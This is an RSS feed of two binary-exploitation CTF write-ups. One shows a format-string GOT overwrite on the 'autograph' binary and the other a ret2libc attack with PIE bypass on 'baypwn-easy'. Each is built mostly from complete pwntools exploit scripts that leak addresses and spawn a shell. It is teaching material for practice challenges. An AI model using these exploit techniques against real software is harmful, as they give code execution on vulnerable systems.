<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by cyberyolk on Medium]]></title>
        <description><![CDATA[Stories by cyberyolk on Medium]]></description>
        <link>https://medium.com/@baycorp22?source=rss-46f4438a9c4a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*tJqRf5mr_15BfXqRV5VZqQ.png</url>
            <title>Stories by cyberyolk on Medium</title>
            <link>https://medium.com/@baycorp22?source=rss-46f4438a9c4a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:53:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@baycorp22/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CyberGonCTF | autograph (pwn)]]></title>
            <link>https://medium.com/@baycorp22/cybergonctf-autograph-pwn-3f50385afb2d?source=rss-46f4438a9c4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f50385afb2d</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[got-overwrite]]></category>
            <dc:creator><![CDATA[cyberyolk]]></dc:creator>
            <pubDate>Sun, 20 Aug 2023 09:25:11 GMT</pubDate>
            <atom:updated>2025-09-28T03:02:04.147Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Author: Team BAY | pwn concept: overwrite GOT.</blockquote><p>Here, I share a pwn challenge that I think is interesting, which is about overwriting Global Offset Table (GOT) with a vulnerability known as format strings. This is a challenge from CyberGonCTF, you can download the binary <a href="https://drive.google.com/file/d/1kTrZIr0X0aD3uUiA6rnvi2GqFDN_KDBq/view?usp=sharing">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*CQuAW4GAOoUJtMd10Bz8lQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*OYGold9SSQ2PeHmYbdAqgg.png" /></figure><p>In this challenge we’re given a 64 bit binary, dynamically linked, and not stripped.</p><pre>┌──(brandy㉿bread-yolk)-[~/Downloads/cybergon/pwn/autograph]<br>└─$ file autograph<br>autograph: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8207d0dd79441e18d3fa3dd4771357e8243298ae, for GNU/Linux 3.2.0, not stripped</pre><p>Binary protections:</p><pre>┌──(brandy㉿bread-yolk)-[~/Downloads/cybergon/pwn/autograph]<br>└─$ pwn checksec autograph<br>[*] &#39;/home/brandy/Downloads/cybergon/pwn/autograph/autograph&#39;<br>    Arch:     amd64-64-little<br>    RELRO:    Partial RELRO<br>    Stack:    No canary found<br>    NX:       NX enabled<br>    PIE:      PIE enabled</pre><p>Let’s be straight forward, after decompiled the binary, analyzing the menu(), we know there’s option 9 which is not showed at the UI.</p><pre>void menu(void)<br><br>{<br>  undefined4 local_11;<br>  undefined local_d;<br>  int local_c;<br>  <br>  while( true ) {<br>    while( true ) {<br>      while( true ) {<br>        puts(&quot;\nWhat are you going to do?&quot;);<br>        puts(&quot;-------------------------&quot;);<br>        puts(&quot;1. Add Notes&quot;);<br>        puts(&quot;2. View the Notes&quot;);<br>        puts(&quot;3. Exit&quot;);<br>        puts(&quot;-------------------------&quot;);<br>        printf(&quot;Enter choice: &quot;);<br>        local_11 = 0;<br>        local_d = 0;<br>        fgets((char *)&amp;local_11,5,stdin);<br>        local_c = atoi((char *)&amp;local_11);<br>        if (local_c != 1) break;<br>        add_notes();<br>      }<br>      if (local_c != 2) break;<br>      view_notes();<br>    }<br>    if (local_c == 3) break;<br>    if (local_c == 9) {<br>      debug_notes(0);<br>    }<br>    else {<br>      puts(&quot;Try again.\n&quot;);<br>    }<br>  }<br>                    /* WARNING: Subroutine does not return */<br>  exit(0);<br>}</pre><p>Analyzing the debug_notes(), it’s clear the pwn concept is to <strong>leak pie</strong> and <strong>calculate the piebase</strong>, then <strong>leak the libc address</strong>, <strong>calculate the libc base</strong>, and finally <strong>overwrite the printf@got</strong> with <strong>libc.sym[‘system’]</strong>.</p><pre>void debug_notes(void)<br><br>{<br>  char local_108 [256];<br>  <br>  puts(&quot;Enter your notes: &quot;);<br>  fgets(local_108,256,stdin);<br>  puts(&quot;You Notes:&quot;);<br>  printf(local_108);<br>  return;<br>}</pre><p>Leaking the libc address quite challenging in this chall, since we don’t have the libc library at the remote server, here’s the step we need to do:</p><ul><li>Leak it locally first.</li><li>Identify what “libc.sym” address is it.</li><li>Try to leak the same offset remotely.</li><li>Grab the address.</li><li>Throw it to <a href="https://libc.blukat.me/">libc.blukat</a>.</li><li>Run pwninit, then calculate the libc_base.</li></ul><p>With this we can continue leaking the pie and simply overwrite GOT with libc.sym[‘system’].</p><p>To make it simpler, i won’t show the trial and error for leaking the libc, but the key part is at the offset 11th. Here’s the script:</p><pre>from pwn import *<br>import os <br>os.system(&#39;clear&#39;)<br><br>def start(argv=[], *a, **kw):<br>    if args.REMOTE:<br>        return remote(sys.argv[1], sys.argv[2], *a, **kw)<br>    else:<br>        return process([exe] + argv, *a, **kw)<br><br>exe = &#39;./autograph&#39;<br>elf = context.binary = ELF(exe, checksec=True)<br># context.log_level = &#39;DEBUG&#39;<br>context.log_level = &#39;INFO&#39;<br># context.log_level = &#39;ERROR&#39;<br><br>library = &#39;./libc.so.6&#39;<br>libc = context.binary = ELF(library, checksec=False)<br><br>sh = process(exe)<br>def exploit(payload):<br>    sh.sendlineafter(b&#39;:&#39;, b&#39;9&#39;)<br>    sh.sendlineafter(b&#39;:&#39;, payload)<br>    sh.recvuntil(b&#39;You Notes:\n&#39;)<br>    get = sh.recvline().strip()<br>    return get<br><br>format_strings = FmtStr(execute_fmt=exploit)<br>print(&#39;[+] OFFSET --&gt;&#39;, format_strings.offset)<br><br># sh = start()<br># pause()<br>for i in range(100):<br>    sh = start()<br>    pause()<br>    sh.sendlineafter(b&#39;:&#39;, b&#39;9&#39;)<br>    sh.sendlineafter(b&#39;:&#39;, &#39;%{}$p&#39;.format(i))<br>    sh.recvuntil(b&#39;You Notes:\n&#39;)<br>    get = sh.recvline().strip()<br>    print(str(i), &#39;:&#39;, get)<br>    sh.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YE-KLXFQhkxud0Ux2l_v6Q.png" /><figcaption>offset 11th is _IO_2_1_stdin_ (LOCALLY).</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*bCh1ZCEIVzb1DZK9pk6KZw.png" /><figcaption>Result remotely.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zir3OmMAghz6MbtN4tTiyw.png" /><figcaption>Libc Blukat result.</figcaption></figure><p>Well, to filtered it more, you can leak another libc address and send it to blukat, but for me is enough for this result. We know our potential libc is the last 3 (64 bit libc).</p><p>Then which one is the correct one? Checking all the<strong> _IO_2_1_stdin_ </strong>difference, it showed the same result for all. Hence let’s use the <strong>libc6_2.35–0ubuntu3_amd64</strong>.</p><p>Download it then run pwninit at your terminal:</p><pre>┌──(brandy㉿bread-yolk)-[~/Downloads/cybergon/pwn/autograph]<br>└─$ pwninit --libc libc6_2.35-0ubuntu3_amd64.so --bin autograph</pre><pre>┌──(brandy㉿bread-yolk)-[~/Downloads/cybergon/pwn/autograph]<br>└─$ ls<br>autograph          ld-2.35.so                    libc.so.6<br>autograph_patched  libc6_2.35-0ubuntu3_amd64.so  script.py</pre><p>Let’s use the patched binary to leak the libc again , this time i leaked at the 3rd offset and calculate it using the libc_base at vmmap. Also let’s calculate the piebase (pie is at offset 10th).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pqns_dRT_lb3ii_9C-fNvw.png" /><figcaption>Libc Base Distance.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ScC8co1fiOMFxCJc1KtO5A.png" /><figcaption>PIE Base Distance.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eFjrZBYpmzjyaebDnxlrqg.png" /><figcaption>Result (Libc Base is correct).</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ziERyFPPyRGqj8toZtMVaA.png" /><figcaption>PIE Base is correct.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*wCbJy2CX145u648ubXUZMw.png" /><figcaption>REMOTELY.</figcaption></figure><p>Our script so far:</p><pre>from pwn import *<br>import os <br>os.system(&#39;clear&#39;)<br><br>def start(argv=[], *a, **kw):<br>    if args.REMOTE:<br>        return remote(sys.argv[1], sys.argv[2], *a, **kw)<br>    else:<br>        return process([exe] + argv, *a, **kw)<br><br>exe = &#39;./autograph_patched&#39;<br>elf = context.binary = ELF(exe, checksec=True)<br># context.log_level = &#39;DEBUG&#39;<br>context.log_level = &#39;INFO&#39;<br># context.log_level = &#39;ERROR&#39;<br><br>library = &#39;./libc.so.6&#39;<br>libc = context.binary = ELF(library, checksec=False)<br><br>sh = process(exe)<br>def exploit(payload):<br>    sh.sendlineafter(b&#39;:&#39;, b&#39;9&#39;)<br>    sh.sendlineafter(b&#39;:&#39;, payload)<br>    sh.recvuntil(b&#39;You Notes:\n&#39;)<br>    get = sh.recvline().strip()<br>    return get<br><br>format_strings = FmtStr(execute_fmt=exploit)<br>print(&#39;[+] OFFSET --&gt;&#39;, format_strings.offset)<br><br>sh = start()<br>pause()<br># for i in range(57, 100):<br>#     sh = start()<br>#     # pause()<br>#     sh.sendlineafter(b&#39;:&#39;, b&#39;9&#39;)<br>#     sh.sendlineafter(b&#39;:&#39;, &#39;%{}$p&#39;.format(i))<br>#     sh.recvuntil(b&#39;You Notes:\n&#39;)<br>#     get = sh.recvline().strip()<br>#     print(str(i), &#39;:&#39;, get)<br>    # sh.interactive()<br><br>sh.sendlineafter(b&#39;:&#39;, b&#39;9&#39;)<br>sh.sendlineafter(b&#39;:&#39;, &#39;%3$p.%10$p&#39;)<br>sh.recvuntil(b&#39;You Notes:\n&#39;)<br>get = sh.recvline().strip()<br># print(&#39;received --&gt; &#39;,get)<br><br>leaked_libc = int(get[:14], 16)<br>log.success(f&#39;LEAKED LIBC --&gt; {hex(leaked_libc)}&#39;)<br>libc.address = leaked_libc - 0x114a37<br>log.info(f&#39;LIBC BASE --&gt; {hex(libc.address)}&#39;)<br><br>leaked_pie = int(get[15:], 16)<br>log.success(f&#39;LEAKED PIE --&gt; {hex(leaked_pie)}&#39;)<br>elf.address = leaked_pie - 0x3dd8<br>log.info(f&#39;PIE BASE --&gt; {hex(elf.address)}&#39;)<br><br>sh.interactive()</pre><h3>FINAL EXPLOIT — GETTING RCE</h3><p>Finally we just need to overwrite printf@got using fmtstr_payload. Anyway, little notes, you can using one_gadget to get RCE more easily, but in this writeup i don’t use one_gadget.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*T9nFA7QQmV8Ajy-NgpOBJg.png" /><figcaption>one_gadget.</figcaption></figure><p>FULL SCRIPT:</p><pre>from pwn import *<br>import os <br>os.system(&#39;clear&#39;)<br><br>def start(argv=[], *a, **kw):<br>    if args.REMOTE:<br>        return remote(sys.argv[1], sys.argv[2], *a, **kw)<br>    else:<br>        return process([exe] + argv, *a, **kw)<br><br>exe = &#39;./autograph_patched&#39;<br>elf = context.binary = ELF(exe, checksec=True)<br># context.log_level = &#39;DEBUG&#39;<br>context.log_level = &#39;INFO&#39;<br># context.log_level = &#39;ERROR&#39;<br><br>library = &#39;./libc.so.6&#39;<br>libc = context.binary = ELF(library, checksec=False)<br><br>sh = process(exe)<br>def exploit(payload):<br>    sh.sendlineafter(b&#39;:&#39;, b&#39;9&#39;)<br>    sh.sendlineafter(b&#39;:&#39;, payload)<br>    sh.recvuntil(b&#39;You Notes:\n&#39;)<br>    get = sh.recvline().strip()<br>    return get<br><br>format_strings = FmtStr(execute_fmt=exploit)<br>print(&#39;[+] OFFSET --&gt;&#39;, format_strings.offset)<br><br>sh = start()<br># pause()<br># for i in range(57, 100):<br>#     sh = start()<br>#     # pause()<br>#     sh.sendlineafter(b&#39;:&#39;, b&#39;9&#39;)<br>#     sh.sendlineafter(b&#39;:&#39;, &#39;%{}$p&#39;.format(i))<br>#     sh.recvuntil(b&#39;You Notes:\n&#39;)<br>#     get = sh.recvline().strip()<br>#     print(str(i), &#39;:&#39;, get)<br>    # sh.interactive()<br><br>sh.sendlineafter(b&#39;:&#39;, b&#39;9&#39;)<br>sh.sendlineafter(b&#39;:&#39;, &#39;%3$p.%10$p&#39;)<br>sh.recvuntil(b&#39;You Notes:\n&#39;)<br>get = sh.recvline().strip()<br># print(&#39;received --&gt; &#39;,get)<br><br>leaked_libc = int(get[:14], 16)<br>log.success(f&#39;LEAKED LIBC --&gt; {hex(leaked_libc)}&#39;)<br>libc.address = leaked_libc - 0x114a37<br>log.info(f&#39;LIBC BASE --&gt; {hex(libc.address)}&#39;)<br><br>leaked_pie = int(get[15:], 16)<br>log.success(f&#39;LEAKED PIE --&gt; {hex(leaked_pie)}&#39;)<br>elf.address = leaked_pie - 0x3dd8<br>log.info(f&#39;PIE BASE --&gt; {hex(elf.address)}&#39;)<br><br>payload = fmtstr_payload(format_strings.offset, {elf.got[&#39;printf&#39;]: libc.sym[&#39;system&#39;]})<br>sh.sendlineafter(b&#39;:&#39;, b&#39;9&#39;)<br>sh.sendlineafter(b&#39;:&#39;, payload) # START OVERWRITES<br>sh.sendlineafter(b&#39;:&#39;, b&#39;9&#39;)<br>sh.sendline(b&#39;sh&#39;) # GETTING RCE<br><br>sh.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*7JDyS-hq297J0bHzvPSHCQ.png" /><figcaption>GOT SHELL LOCALLY</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*7HTBGc9IWuK1wd5HWviJnQ.png" /><figcaption>REMOTELY</figcaption></figure><p><strong>FLAG: CybergonCTF{PHorM47_57rin9_I5_d4N93rou5}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f50385afb2d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Overcoming ASLR: A Guide to Conquering ret2libc Challenges with PIE]]></title>
            <link>https://medium.com/@baycorp22/overcoming-aslr-a-guide-to-conquering-ret2libc-challenges-with-pie-f50be91e06ea?source=rss-46f4438a9c4a------2</link>
            <guid isPermaLink="false">https://medium.com/p/f50be91e06ea</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[pwntools]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[ret2libc]]></category>
            <category><![CDATA[pie-enabled]]></category>
            <dc:creator><![CDATA[cyberyolk]]></dc:creator>
            <pubDate>Thu, 03 Aug 2023 05:29:56 GMT</pubDate>
            <atom:updated>2025-09-28T03:01:23.564Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Author: Team BAY</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*cGEh0bbTLnRMqQj5iCMI1g.jpeg" /></figure><p>Working on ret2libc alone is quite challenging, especially with the addition of protection such as PIE, Canary, or even stack pivot. The ret2libc challenge is at an easy level, but it can be a powerful weapon to make pwners give up, especially if the libc version used on the remote server is different or even if the binary behavior is different on the remote server.</p><p>In this challenge we’re given a 64 bit binary file, not stripped, and dynamically linked. You can download the binary <a href="https://bit.ly/3rVbcVg"><strong>here</strong></a>.</p><pre>┌──(brandy㉿bread-yolk)-[~/Downloads/medium]<br>└─$ file baypwn-easy    <br>baypwn-easy: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=657b49652c63c2d49c14c347b4c6a57264537bd9, for GNU/Linux 3.2.0, with debug_info, not stripped</pre><pre>┌──(brandy㉿bread-yolk)-[~/Downloads/medium]<br>└─$ pwn checksec baypwn-easy <br>[*] &#39;/home/brandy/Downloads/medium/baypwn-easy&#39;<br>    Arch:     amd64-64-little<br>    RELRO:    Full RELRO<br>    Stack:    No canary found<br>    NX:       NX enabled<br>    PIE:      PIE enabled</pre><p>Since RELRO is full, we can’t overwrite functions in the Global Offset Table (GOT). The GOT is set to read-only. There’s no canary, which is good; we can easily do BOF. With NX enabled, if we send our shellcode onto the stack, the stack won’t execute it. The last protection is what we want to bypass (PIE), with Position Independent Executable (PIE) enabled; hence, we need to leak the PIE and calculate the “piebase”. By having the piebase, we can access any gadgets and functions we need.</p><p>After decompiling the binary, the main() function is calling the chall() function, and we can see the vuln is at the <strong>gets() call [potential BOF</strong>] and <strong>printf(buffer) [Format string vulnerability]</strong>.</p><pre>void chall(void)<br><br>{<br>  char buffer [100];<br>  <br>  banner();<br>  printf(&quot;%s[TODO]%s\n&quot;,&amp;DAT_001021fd,&amp;DAT_00102008);<br>  puts(&quot;As a fellow \&quot;pwner\&quot;, I want you to identify and exploit any vulnerabilities you find.&quot;);<br>  puts(&quot;The challenge is very straight-forward; doing a little outsourcing should help. &quot;);<br>  puts(&quot;The goal is to spawn a shell on your local machine.&quot;);<br>  puts(&quot;&quot;);<br>  printf(&quot;%s[START]%s\n&quot;,&amp;DAT_0010200d,&amp;DAT_00102008);<br>  puts(&quot;Send me your payload&quot;);<br>  printf(&quot;&gt;&gt; &quot;);<br>  gets(buffer); // potential BOF<br>  printf(buffer); // we can use this to leak pie and libc address<br>  puts(&quot;&quot;);<br>  printf(&quot;%s[-] Looks like you failed..%s\n&quot;,&amp;DAT_0010231a,&amp;DAT_00102008);<br>  printf(&quot;Anyway, please send me a feedback: &quot;);<br>  gets(buffer); // another BOF<br>  puts(&quot;Thankyou&quot;);<br>  return;<br>}</pre><p>So the flow is, we leak the potential pie address and libc address using the format string vuln, then calculate their base, and send our ret2libc payload at the next gets() call.</p><h3>LEAKING PIE AND LIBC</h3><p>We can test the vuln by sending any string formatter; usually I send %lx and %p to leak stack addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vIqnSyxJpL3EZCpcxCTcKw.png" /><figcaption>Sending %p as the output format.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*Eds70LsE8vo0byNxj7pqCA.png" /><figcaption>Got pointers.</figcaption></figure><p>Let’s create a “fuzz” script to leak all the addresses automatically from index 0 to 100. With this, we can easily identify the pie address and the libc address.</p><pre>from pwn import * <br>import os<br>os.system(&#39;clear&#39;)<br><br>exe = &#39;./baypwn-easy&#39;<br>pwn = context.binary = ELF(exe, checksec=True)<br>context.log_level = &#39;ERROR&#39;<br><br>## Fuzzing from 0 to 100<br>for i in range(100):<br>    sh = process(exe)<br>    sh.sendlineafter(b&#39;&gt;&gt;&#39;, &#39;%{}$p&#39;.format(i))<br>    get = sh.recvline().strip() # grab the result<br>    print(str(i),&#39;:&#39;,get) # print result</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*iQQhmaSCQBuXnryFU_J5qw.png" /><figcaption>NOTES: As you can see there are many potential libc &amp; PIE, you can try them one by one, in this case i used the 11th (for libc) and the 19th (for PIE).</figcaption></figure><h3>CALCULATING PIE BASE AND LIBC BASE</h3><pre>from pwn import * <br>import os<br>os.system(&#39;clear&#39;)<br><br>exe = &#39;./baypwn-easy&#39;<br>elf = context.binary = ELF(exe, checksec=True)<br>context.log_level = &#39;DEBUG&#39;<br>#context.log_level = &#39;ERROR&#39;<br>library = &#39;/lib/x86_64-linux-gnu/libc.so.6&#39;<br>libc = context.binary = ELF(library, checksec=False)<br><br>sh = process(exe)<br>pause()<br>padding = 120<br>sh.sendlineafter(b&#39;&gt;&gt;&#39;, &#39;%19$p.%11$p&#39;)<br>get = sh.recvline().strip()<br><br>leaked = get[:14]<br>leaked = int(leaked, 16)<br>log.success(&#39;PIE LEAK --&gt; %#0x&#39;, leaked)<br><br>libc_leak = get[15:]<br>libc_leak = int(libc_leak, 16)<br>log.success(&#39;LIBC LEAK --&gt; %#0x&#39;, libc_leak)<br><br>sh.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oe3tYx-BVNCbZZl4-Wj0QQ.png" /><figcaption>Calculating PIEBASE : Distance → 4661</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f5qJzvASXxc-A_BqQl1XZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*lAiVxje1GBasDk_KkvE_cg.png" /><figcaption>Calculating LIBC BASE : Distance → 524601</figcaption></figure><p>Let’s check if it meets the correct bases.</p><pre>from pwn import * <br>import os<br>os.system(&#39;clear&#39;)<br><br>exe = &#39;./baypwn-easy&#39;<br>elf = context.binary = ELF(exe, checksec=True)<br>context.log_level = &#39;DEBUG&#39;<br>#context.log_level = &#39;ERROR&#39;<br>library = &#39;/lib/x86_64-linux-gnu/libc.so.6&#39;<br>libc = context.binary = ELF(library, checksec=False)<br><br>sh = process(exe)<br>pause()<br>padding = 120<br>sh.sendlineafter(b&#39;&gt;&gt;&#39;, &#39;%19$p.%11$p&#39;)<br>get = sh.recvline().strip()<br><br>leaked = get[:14]<br>leaked = int(leaked, 16)<br>log.success(&#39;PIE LEAK --&gt; %#0x&#39;, leaked)<br><br>libc_leak = get[15:]<br>libc_leak = int(libc_leak, 16)<br>log.success(&#39;LIBC LEAK --&gt; %#0x&#39;, libc_leak)<br><br>elf.address = leaked - 0x1235 #4661<br>log.success(&#39;CALCULATED PIE BASE --&gt; %#0x&#39;, elf.address)<br><br>libc.address = libc_leak - 0x80139 # 524601<br>log.success(&#39;LIBC BASE --&gt; %#0x&#39;, libc.address)<br><br>sh.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bRZe_bqDlhrlj7RAYjbziw.png" /><figcaption>PIEBASE is correct.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GvOtlcHsMGISKH43WuMZiQ.png" /><figcaption>LIBC BASE is correct too.</figcaption></figure><p>Great! Now let’s grab the pop rdi, and ret gadgets, then calculate them with our pie base. But this time I will use Ropstar, so the script will be simpler, but I will show you the original method at the end.</p><pre>rop = ROP(elf)<br><br>pop_rdi = rop.find_gadget([&#39;pop rdi&#39;, &#39;ret&#39;])[0]<br>log.success(&#39;POP RDI --&gt; %#0x&#39;, pop_rdi)<br><br>ret = rop.find_gadget([&#39;ret&#39;])[0]<br>log.success(&#39;RET --&gt; %#0x&#39;, ret)</pre><h3>FINAL</h3><p>To get the shell, we need to send this payload (watch the order):</p><pre>padding + ret (stack align) + rdi_gadget + /bin/sh + system</pre><p>I assume you already know how to get the padding, so I will skip that. Here’s the final script:</p><pre>from pwn import * <br>import os<br>os.system(&#39;clear&#39;)<br><br>exe = &#39;./baypwn-easy&#39;<br>elf = context.binary = ELF(exe, checksec=True)<br>#context.log_level = &#39;DEBUG&#39;<br>#context.log_level = &#39;ERROR&#39;<br>context.log_level = &#39;INFO&#39;<br>library = &#39;/lib/x86_64-linux-gnu/libc.so.6&#39;<br>libc = context.binary = ELF(library, checksec=False)<br><br>&#39;&#39;&#39;<br>## Fuzzing from 0 to 100<br>for i in range(100):<br>    sh = process(exe)<br>    sh.sendlineafter(b&#39;&gt;&gt;&#39;, &#39;%{}$p&#39;.format(i))<br>    get = sh.recvline().strip() # grab the result<br>    print(str(i),&#39;:&#39;,get) # print result<br>&#39;&#39;&#39;<br><br>sh = process(exe)<br>#pause()<br>padding = 120<br>sh.sendlineafter(b&#39;&gt;&gt;&#39;, &#39;%19$p.%11$p&#39;)<br>get = sh.recvline().strip()<br><br>leaked = get[:14]<br>leaked = int(leaked, 16)<br>log.success(&#39;PIE LEAK --&gt; %#0x&#39;, leaked)<br><br>libc_leak = get[15:]<br>libc_leak = int(libc_leak, 16)<br>log.success(&#39;LIBC LEAK --&gt; %#0x&#39;, libc_leak)<br><br>elf.address = leaked - 0x1235 #4661<br>log.success(&#39;CALCULATED PIE BASE --&gt; %#0x&#39;, elf.address)<br><br>libc.address = libc_leak - 0x80139 # 524601<br>log.success(&#39;LIBC BASE --&gt; %#0x&#39;, libc.address)<br><br>rop = ROP(elf)<br>pop_rdi = rop.find_gadget([&#39;pop rdi&#39;, &#39;ret&#39;])[0]<br>log.success(&#39;POP RDI --&gt; %#0x&#39;, pop_rdi)<br>&#39;&#39;&#39;<br>## CALCULATING MANUALLY<br>rdi_gadget = elf.address + pop_rdi<br>log.info(&#39;RDI --&gt; %#0x&#39;, rdi_gadget)<br>&#39;&#39;&#39;<br>ret = rop.find_gadget([&#39;ret&#39;])[0]<br>log.success(&#39;RET --&gt; %#0x&#39;, ret)<br>&#39;&#39;&#39;<br>## CALCULATING MANUALLY<br>ret_addr = elf.address + ret<br>log.info(&#39;RET --&gt; %#0x&#39;, ret_addr)<br>&#39;&#39;&#39;<br><br>## ORIGINAL PAYLOAD<br>&#39;&#39;&#39;<br>p = flat([<br>    asm(&#39;nop&#39;) * padding,<br>    ret,<br>    pop_rdi,<br>    next(libc.search(b&#39;/bin/sh\x00&#39;)),<br>    libc.sym[&#39;system&#39;]<br>])<br>&#39;&#39;&#39;<br><br>## USING ROPSTAR<br>rop = ROP(libc)<br>rop.execve(next(libc.search(b&#39;/bin/sh\x00&#39;)), 0, 0)<br>print(rop.dump())<br>p = asm(&#39;nop&#39;) * 120<br>p += rop.chain()<br><br>sh.sendlineafter(b&#39;:&#39;, p)<br>sh.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jQFYR43ilAW4waxeAND91g.png" /><figcaption>Got the shell!</figcaption></figure><p>This challenge uses the basic example of ret2libc with PIE protection; there are various forms of challenges with the same concept. My hope is that by reading and working “hands-on” while reading this article, you can easily solve the ret2libc challenge that has PIE protection.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f50be91e06ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>